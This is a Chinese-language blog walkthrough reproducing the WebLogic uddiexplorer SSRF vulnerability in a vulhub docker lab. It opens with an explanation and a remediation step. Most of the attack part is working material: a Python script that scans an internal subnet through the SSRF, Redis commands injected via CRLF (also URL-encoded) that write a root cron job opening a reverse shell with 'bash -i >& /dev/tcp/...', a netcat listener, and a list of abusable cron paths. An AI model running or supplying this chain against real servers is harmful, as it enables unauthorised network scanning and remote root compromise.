11.Weblogic-SSRF漏洞复现
应为这一阵正好在学习SSRF漏洞,又苦于本人太菜没有挖到SSRF,只能复现...
先贴出很早之前央视网SSRF可窥探内网(Weblogic SSRF案例):https://www.secpulse.com/archives/38967.html
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未
对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。
攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息,
所以SSRF的一大利用是探测内网端口开放信息。(所以SSRF归类为信息泄漏类型)
漏洞出现位置与解决方法:
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),
更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。
所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了
我们这里采用的是改后辍的方式,修复步骤如下:
1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
2.将weblogic安装目录下的server/lib/uddiexplorer.war下载
3.用winrar等工具打开uddiexplorer.war
4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
5.保存后上传回服务端替换原先的uddiexplorer.war
6.对于多台主机组成的集群,针对每台主机都要做这样的操作
7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用--停server--停控制台--启控制台--启server--启应用)
理论部分已经交代完,下面开始实际操作,复现漏洞,这次使用docker来模拟漏洞环境
docker github地址:https://github.com/vulhub/vulhub
搭建的载体为Ubuntu,ip为 192.168.0.131
搭建过程不在详述,搭建完成后,访问 http://your-ip:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用。
SSRF漏洞测试
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001
我们访问的IP是内网ip地址,一般是拒绝访问的
当我们访问一个不存在的端口时,比如 http://127.0.0.1:7000
将会返回:could not connect over HTTP to server
当我们访问存在的端口时,比如 http://127.0.0.1:7001
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回:did not have a valid SOAP content-type
正常我们是无法访问内网的,但是通过页面返回错误的不同,我们可以探测内网端口的开放状态,进而知道内网
开启的服务,同时加以利用
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是
docker的网段(docker环境的网段一般是172.*):
下面用一个python 小脚本来实现内网端口探测这个功能:
import thread import time import re import requests def ite_ip(ip): for i in range(1, 256): final_ip = '{ip}.{i}'.format(ip=ip, i=i) print final_ip thread.start_new_thread(scan, (final_ip,)) time.sleep(3) def scan(final_ip): ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379') for port in ports: vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port) try: #print vul_url r = requests.get(vul_url, timeout=15, verify=False) result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content) result2 = re.findall('but could not connect', r.content) result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0: print '[!]'+final_ip + ':' + port except Exception, e: pass if __name__ == '__main__': ip = "172.18.0" if ip: print ip ite_ip(ip) else: print "no ip"
尝试运行:
经过探测,我们发现了内网的一个IP存在6379端口,也就是redis服务:
我们这里要发送几行代码
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
把这三条命令通过get包注入进去,先要将命令用url进行编码
注意,换行符是“\r\n”,也就是“%0D%0A”
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:
接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件